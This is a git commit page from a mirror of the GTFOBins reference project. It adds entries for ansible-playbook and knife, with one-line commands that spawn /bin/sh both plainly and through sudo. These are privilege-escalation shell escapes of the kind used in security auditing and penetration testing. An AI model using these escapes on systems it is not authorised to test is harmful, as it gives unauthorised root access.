mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Add knife and ansible-playbook
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
de6a9adef2
commit
ee3eb38ee4
13
_gtfobins/ansible-playbook.md
Normal file
13
_gtfobins/ansible-playbook.md
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
|
||||||
|
ansible-playbook $TF
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
|
||||||
|
sudo ansible-playbook $TF
|
||||||
|
---
|
10
_gtfobins/knife.md
Normal file
10
_gtfobins/knife.md
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
---
|
||||||
|
description: This is capable of running [`ruby`](/gtfobins/ruby/) code.
|
||||||
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: |
|
||||||
|
knife exec -E 'exec "/bin/sh"'
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
sudo knife exec -E 'exec "/bin/sh"'
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user